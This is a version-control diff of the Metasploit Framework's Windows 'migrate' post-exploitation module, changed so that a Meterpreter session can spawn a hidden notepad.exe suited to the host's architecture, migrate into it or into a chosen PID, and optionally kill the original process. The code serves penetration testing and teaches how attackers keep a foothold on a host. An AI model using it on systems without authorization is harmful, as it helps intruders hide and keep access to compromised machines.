Updated migrate post module for Meterpreter adding support automatically creating a process with the proper architecture to migrate to and added support to kill original process.

git-svn-id: file:///home/svn/framework3/trunk@13825 4d416f70-5f16-0410-b530-b9f4589650da

modules/post/windows/manage/migrate.rb

@@ -12,17 +12,14 @@
 require 'msf/core'
 require 'rex'
 
-
 class Metasploit3 < Msf::Post
 
-
-
 	def initialize(info={})
 		super( update_info( info,
 				'Name'          => 'Windows Manage Process Migration',
-				'Description'   => %q{ This module will migrate a Meterpreter session from one process to another.
+				'Description'   => %q{ This module will migrate a Meterpreter session from one process 
-					A given process name can be given to migrate to or the module can spawn one
+					to another. A given process PID to migrate to or the module can spawn one and
-					and migrate to that newly spawned process.},
+					migrate to that newly spawned process.},
 				'License'       => MSF_LICENSE,
 				'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
 				'Version'       => '$Revision$',
@@ -31,60 +28,55 @@ class Metasploit3 < Msf::Post
 			))
 		register_options(
 			[
-				OptBool.new('SPAWN', [ false, 'Spawn process to migrate to. If name for process not given notepad.exe is used.', false]),
+				OptBool.new(  'SPAWN',[ false,'Spawn process to migrate to. If name for process not given notepad.exe is used.', true]),
-				OptString.new('NAME', [false, 'Name of process to migrate to.', nil]),
+				OptInt.new(   'PID',  [false, 'PID of process to migrate to.']),
-
+				OptBool.new(  'KILL', [false, 'Kill original process for the session.', false])
-
 			], self.class)
 	end
 
 	# Run Method for when run command is issued
 	def run
 		print_status("Running module against #{sysinfo['Computer']}")
-		server = client.sys.process.open
+		server = session.sys.process.open
-
+		original_pid = server.pid
 		print_status("Current server process: #{server.name} (#{server.pid})")
 
 		target_pid = nil
 
-		if ! datastore['SPAWN']
+		if datastore['SPAWN']
-			# Get the target process name
+			print_status("Spawning notepad.exe process to migrate to")
-			if datastore['NAME'] =~ /\.exe/
+			target_pid = create_temp_proc
-				target = datastore['NAME']
+		elsif datastore['PID']
-			else
+			target_pid = datastore['PID']
-				target = "explorer.exe"
-			end
-			print_status("Migrating to #{target}...")
-
-			# Get the target process pid
-			target_pid = client.sys.process[target]
-
-			if not target_pid
-				print_error("Could not access the target process")
-				print_status("Spawning a notepad.exe host process...")
-				note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
-				target_pid = note.pid
-			end
-		else
-			if datastore['NAME'] =~ /\.exe/
-				target = datastore['NAME']
-			else
-				target = "notepad.exe"
-			end
-			print_status("Spawning a #{target} host process...")
-			newproc = client.sys.process.execute(target, nil, {'Hidden' => true })
-			target_pid = newproc.pid
-			if not target_pid
-				print_error("Could not create a process around #{target}")
-				raise Rex::Script::Completed
-			end
 		end
 
-		# Do the migration
+		begin
-		print_status("Migrating into process ID #{target_pid}")
+			print_good("Migrating to #{target_pid}")
-		client.core.migrate(target_pid)
+			session.core.migrate(target_pid)
-		server = client.sys.process.open
+			print_good("Successfully migrated to process #{}")
-		print_status("New server process: #{server.name} (#{server.pid})")
+		rescue ::Exception => e
+			print_error("Could not migrate in to process.")
+			print_error(e)
+		end
 
+		if datastore['KILL']
+			print_status("Killing original process with PID #{original_pid}")
+			session.sys.process.kill(original_pid)
+			print_good("Successfuly killed process with PID #{original_pid}")
+		end
+	end
+
+	# Creates a temp notepad.exe to migrate to depending the architecture.
+	def create_temp_proc()
+		windir = client.fs.file.expand_path("%windir%")
+		# Select path of executable to run depending the architecture
+		if sysinfo['Architecture'] =~ /x86/
+			cmd = "#{windir}\\System32\\notepad.exe"
+		else
+			cmd = "#{windir}\\Sysnative\\notepad.exe"
+		end
+		# run hidden
+		proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
+		return proc.pid
 	end
 end